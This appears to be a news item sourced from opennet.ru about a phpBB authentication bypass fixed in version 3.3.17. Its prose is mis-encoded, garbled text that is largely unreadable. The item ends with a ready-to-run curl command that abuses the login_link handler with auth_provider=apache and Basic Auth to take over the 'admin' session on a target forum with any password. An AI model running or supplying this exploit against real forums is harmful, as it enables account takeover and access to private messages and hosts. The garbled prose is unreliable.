์คํ์์ค ํฌ๋ผ ์์ง์ธ phpBB์์ ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ ์ด์ฉํ๋ฉด ๋จ ํ๋์ HTTP ์์ฒญ์ผ๋ก ํฌ๋ผ ์ฌ์ฉ์ ์ธ์ ์ ์ ๊ทผํ ์ ์์ต๋๋ค. ํด๋น ์ทจ์ฝ์ ์ phpBB์ ๊ธฐ๋ณธ ์ค์ ์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ์ด ๋ฌธ์ ๋ phpBB ๋ฒ์ 3.3.17์์ ์์ ๋์์ต๋๋ค.
์ผ๋ฐ ์ฌ์ฉ์๋ฅผ ๊ณต๊ฒฉํ๋ฉด ๊ฐ์ธ ๋ฉ์์ง์ ์ ๊ทผํ๊ฑฐ๋ ํด๋น ์ฌ์ฉ์๋ฅผ ๋์ ํ์ฌ ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์ ์๋ ๊ถํ์ ์ป์ ์ ์์ต๋๋ค. ์ด์์ ๋ฐ ๊ด๋ฆฌ์๋ฅผ ๊ณต๊ฒฉํ๋ฉด ๋ค๋ฅธ ์ฌ๋์ ๋ฉ์์ง๋ฅผ ์ญ์ ํ๊ฑฐ๋ ๋ณผ ์ ์๋ ๊ถํ์ ์ป์ ์ ์์ต๋๋ค. IP ์ฃผ์ ์ด๋ฉ์ผ์ ํ์ธํ๊ณ ๊ฐ์ธ์ ์ธ ์ฐ๋ฝ์ ์ฝ์ ์๋ ์์ง๋ง, ๊ด๋ฆฌ์ ์ธํฐํ์ด์ค์ ๋ก๊ทธ์ธํ์ฌ ํธ์คํธ์ ์ ๊ทผํ ์๋ ์์ต๋๋ค.
์ทจ์ฝ์ ์ ๋ํ ์์ธํ ๋ด์ฉ์ ์ ๊ณต๋์ง ์์์ง๋ง, ํจ์น๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ AI๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฏธ ์ ์ฉ ๋ฐฉ๋ฒ์ ์ฌํํ์ต๋๋ค. ์ด ์ ์ฉ ๋ฐฉ๋ฒ์ "login_link" ํธ๋ค๋ฌ๋ฅผ ํธ์ถํ๊ณ ์ธ์ฆ ๋ฐฉ์์ "auth_provider=apache"๋ก ์ค์ ํ ํ, ๊ธฐ๋ณธ ์ธ์ฆ(Basic Auth)์ ํตํ ๋ก๊ทธ์ธ์ผ๋ก ๋์ฒดํฉ๋๋ค. ๊ทธ๋ฌ๋ฉด PHP๋ ํ๊ฒฝ ๋ณ์ "PHP_AUTH_USER=login"์ ์ค์ ํ๊ณ , phpBB๋ ๋น๋ฐ๋ฒํธ ํ์ธ ์์ด ํด๋น ๋ณ์์์ ์ฌ์ฉ์์ ๋ก๊ทธ์ธ ์ ๋ณด๋ฅผ ์ถ์ถํฉ๋๋ค. ์๋ฅผ ๋ค์ด, "admin" ์ฌ์ฉ์์ ์ธ์ ID๋ฅผ ์ป์ด cookies.txt ํ์ผ์ ์ ์ฅํ๋ ค๋ฉด ๋ค์ ์ฝ๋๋ฅผ ์คํํ๋ฉด ๋ฉ๋๋ค.
curl -i -s \
-c cookies.txt \
-b cookies.txt \
-u 'admin:anything' \
-d 'login=Login&login_username=admin&login_password=anything' \
'https://target.example/forum/ucp.php?mode=login_link&auth_provider=apache&login_link_any=1'
์ถ์ฒ : opennet.ru
